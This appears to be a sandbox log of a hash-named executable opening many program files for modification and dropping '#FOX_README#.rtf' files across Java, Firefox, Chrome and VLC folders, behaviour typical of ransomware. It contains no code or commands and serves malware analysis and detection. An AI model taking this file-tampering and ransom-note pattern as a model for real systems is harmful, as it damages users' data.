f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-autoupdate-cli.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_70.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\chrome.dll.sig f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages_pt_BR.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\ct.sym f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Mozilla Firefox\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\include\win32\bridge\AccessBridgeCalls.c f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\chrome_proxy.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\defaults\pref\channel-prefs.js f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\cli.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-modules-appui.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-templates_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-host.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-api-visual_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages_de.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_fr.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding_1.4.2.v20140729-1044.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.workbench.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-util.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-attach_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.scheduler.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-autoupdate-services.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\etc\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\js\jquery.jstree.js f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\olh001.htm f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\calendars.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\sound.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\kinit.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-sampler.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\mobile_view.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jetty.servlet_8.1.14.v20131031.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\localedata.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\klist.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\browse.json f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_de_DE.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\ktab.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\jsse.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ql.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-ui_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\WidevineCdm\manifest.json f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\macTSFrame.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-autoupdate-cli.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\images\cursors\win32_MoveNoDrop32x32.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\console_view.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.docs.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-attach.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\plugin-hang-ui.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-progress-ui_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateOnDemand.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-api_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-api-search.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-tools.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\VisualElements\SmallLogoCanary.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\MEIPreload\manifest.json f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.di.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\xjc.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.osgi.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.eclipse.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\cmm\PYCC.pf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-modules.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiler_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\SplitProtect.ogg f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.greychart.ui.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\messages_es.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\vlc-cache-gen.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.console.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\logging.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.jarprocessor.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\locale\org-openide-modules_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\rt.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\larrow.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_globalstyle.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\schemagen.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\db\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-selector-ui.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.workbench.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\security\US_export_policy.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench_1.1.0.v20140512-1820.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-util-enumerations_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\pack200.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\te\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPOlive.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\indxicon.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\twitch.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sampler_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyrun.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-queries_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\orbd.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-autoupdate-services.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\splash.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\images\cursors\win32_CopyDrop32x32.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\core\locale\core_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.attach_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist_jstree.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.felix.gogo.shell_0.10.0.v201212101605.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.expressions_3.4.600.v20140128-0851.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\serialver.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\include\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\VisualElements\SmallLogoDev.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\ECLIPSE_.RSA f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.browser.jdp.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.renderers.swt_0.12.1.v20140903-1023.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-progress-ui_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\modules\host.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.help.ui.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.addons.swt_1.1.1.v20140903-0821.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\javafx-src.zip f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ecf.provider.filetransfer.httpclient4.ssl_1.0.0.v20140827-1444.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\sunec.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jabswitch.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\rt.jar 